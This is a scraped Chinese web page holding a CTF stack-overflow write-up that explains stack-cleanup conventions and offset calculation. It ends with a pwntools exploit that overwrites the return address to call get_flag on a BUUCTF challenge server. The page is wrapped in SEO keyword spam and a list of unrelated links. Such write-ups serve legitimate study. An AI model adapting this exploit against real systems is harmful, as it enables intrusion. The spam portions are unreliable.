当前位置: 首页 > wzjs >正文

企业官网建设_创意网站建设互联网营销平台

企业官网建设_创意网站建设,互联网营销平台,龙岗南联网站建设公司,seo和网络推广哪个好栈溢出外平栈 1外平栈与内平栈的区别 外平栈: 栈帧的局部变量和返回地址之间没有额外的对齐或填充。返回地址直接位于局部变量的上方(即栈顶方向)。在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量&#xff09…

栈溢出+外平栈

1外平栈与内平栈的区别

  • 外平栈

    • 栈帧的局部变量和返回地址之间没有额外的对齐或填充。
    • 返回地址直接位于局部变量的上方(即栈顶方向)。
    • 在计算偏移时,不需要额外加 4(因为返回地址紧邻局部变量)。
  • 内平栈

    • 栈帧的局部变量和返回地址之间可能存在对齐或填充(例如,编译器为了对齐而插入的额外空间)。
    • 返回地址与局部变量之间有一定的距离。
    • 在计算偏移时,需要额外加 4(或其他值,具体取决于对齐方式)。

2. add esp, 3Ch; retn 的作用

  • add esp, 3Ch:释放栈上分配的 60 字节空间(3Ch = 60)。
  • retn:从栈顶弹出返回地址并跳转到该地址。

在漏洞利用中,这两条指令通常用于调整栈指针并返回到攻击者控制的地址。


3. 外平栈与内平栈的偏移计算

假设有以下栈布局:

外平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 返回地址        |  <- esp + 60 (3Ch)
+-----------------+
  • 局部变量与返回地址之间没有额外空间。
  • 在计算偏移时,直接使用 offset = 60,不需要额外加 4。
内平栈布局:
+-----------------+
| 局部变量        |  <- esp + 0
+-----------------+
| 对齐填充        |  <- esp + 60 (3Ch)
+-----------------+
| 返回地址        |  <- esp + 64 (40h)
+-----------------+
  • 局部变量与返回地址之间有 4 字节的对齐填充。
  • 在计算偏移时,需要额外加 4,即 offset = 64

from pwn import *
io = remote("node5.buuoj.cn",28027)
payload = b'a'*56
# get_flag_addr:0x080489A0,exit_addr:0x0804E6A0
payload += p32(0x080489A0) + p32(0x0804E6A0) 
payload += p32(0x308CD64F) + p32(0x195719D1)
io.sendline(payload)
io.interactive()

http://www.dtcms.com/wzjs/45279.html

相关文章:

  • 互联网运营网站网站关键词优化方法
  • 零基础怎么做网站竞价托管哪家专业
  • 专业模板建站服务近期的新闻热点
  • 石家庄站客服电话网站更换服务器对seo的影响
  • 品牌网站建设方案ppt营销推广有哪些公司
  • 门户网站有哪些推广分类跨境电商seo
  • 提供完善政府网站建设外链吧怎么使用
  • 个人网站源码php广告投放平台有哪些
  • 有什么做衣服的网站吗营销策划案例
  • 西安三桥网站建设网站链接交易
  • 成都网站建设麦格思百度做广告多少钱
  • git wordpress中文免费主题长春seo技术
  • 淘宝刷网站建设免费b2b信息发布网站
  • 校园网站群建设成人教育培训机构
  • 建设网上银行个人网上银行登北京核心词优化市场
  • 廉溪区建设局网站高明搜索seo
  • 重庆九龙坡区哪里有做网站的竞价排名营销
  • 手机零售网站 关键词推广app的方法和策略
  • 深圳住房和建设局网站业务主题热搜榜排名今日第一
  • wordpress安装详细无锡seo公司
  • 一级a做片性视频.网站在线观看外贸网站seo推广教程
  • 深圳网站设计公司费用武汉排名seo公司
  • 免费域名申请国外windows优化工具
  • asp影楼网站设计今日头条seo
  • 网站规划的类型游戏优化是什么意思
  • 网站如何取消限制搜索引擎抓取百度网站提交收录入口
  • 自己做套现要建网站吗百度指数怎么下载
  • 广东新闻联播回放凌哥seo
  • 做营销策划要用到哪些网站关键词的优化方法
  • 打折网站建设教程下载商品seo优化是什么意思